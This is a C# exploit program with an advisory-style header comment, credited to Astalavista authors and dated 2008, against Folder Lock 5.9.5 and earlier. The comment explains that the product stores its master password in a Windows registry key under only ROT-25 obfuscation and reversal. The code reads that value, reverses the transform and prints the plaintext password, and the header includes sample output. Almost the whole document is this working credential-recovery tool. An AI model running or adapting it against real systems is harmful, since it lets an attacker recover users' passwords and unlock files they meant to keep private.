/* * Folder Lock <= 5.9.5 Local Password Information Disclosure * * Author(s): Charalambous Glafkos * George Nicolaou * Date: June 19, 2008 * Site: http://www.astalavista.com * Mail: glafkos_at_astalavista&#46;com * ishtus_at_astalavista&#46;com * * Synopsis: Folder Lock 5.9.5 and older versions are prone to local information-disclosure vulnerability. * Successfully exploiting this issue allows attackers to obtain potentially sensitive information that may aid in further attacks. * The security issue is caused due to the application storing access credentials within the Windows registry key: * (HKEY_CURRENT_USER\Software\Microsoft\Windows\QualityControl) without proper encryption. * This can be exploited to disclose the encrypted _pack password of the user which is ROT-25 and reversed. * * Sample Output: * * ASTALAVISTA the hacking & security community * Folder Lock <= 5.9.5 Decrypter v2.0 * --------------------------------- * Encrypted Password: :3<k_^62`4T- * Decrypted Password: ,S3_15]^j;29 * */ using System; using System.Text; using System.IO; using System.Threading; using Microsoft.Win32; namespace getRegistryValue { class getValue { static void Main() { getValue details = new getValue(); Console.WriteLine("\nASTALAVISTA the hacking & security community\n\n"); Console.WriteLine("Folder Lock <= 5.9.5 Decrypter v2.0"); Console.WriteLine("---------------------------------"); String strFL = details.getFL(); Console.WriteLine(strFL); Thread.Sleep(5000); } private string getFL() { RegistryKey FLKey = Registry.CurrentUser; FLKey = FLKey.OpenSubKey(&#64;"Software\Microsoft\Windows\QualityControl", false); String _pack = FLKey.GetValue("_pack").ToString(); String strFL = "Encrypted Password: " + _pack.Replace("~", "") + "\nDecrypted Password: " + Reverse(Rotate(_pack.Replace("~", ""))) + "\n"; return strFL; } public string Reverse(string x) { char[] charArray = new char[x.Length]; int len = x.Length - 1; for (int i = 0; i <= len; i++) charArray[i] = x[len - i]; return new string(charArray); } public static string Rotate(string toRotate) { char[] charArray = toRotate.ToCharArray(); for (int i = 0; i < charArray.Length; i++) { int thisInt = (int)charArray[i]; if (thisInt >= 65 && thisInt <= 91) { thisInt += 25; if (thisInt >= 91) { thisInt -= 26; } } if (thisInt >= 92 && thisInt <= 96) { thisInt += 25; if (thisInt >= 96) { thisInt -= 26; } } if (thisInt >= 32 && thisInt <= 47) { thisInt += 25; if (thisInt >= 47) { thisInt -= 26; } } if (thisInt >= 48 && thisInt <= 57) { thisInt += 25; if (thisInt >= 57) { thisInt -= 26; } } if (thisInt >= 58 && thisInt <= 64) { thisInt += 25; if (thisInt >= 64) { thisInt -= 26; } } if (thisInt >= 97 && thisInt <= 123) { thisInt += 25; if (thisInt >= 123) { thisInt -= 26; } } charArray[i] = (char)thisInt; } return new string(charArray); } } } Best Regards, Charalambous Glafkos ( nowayout )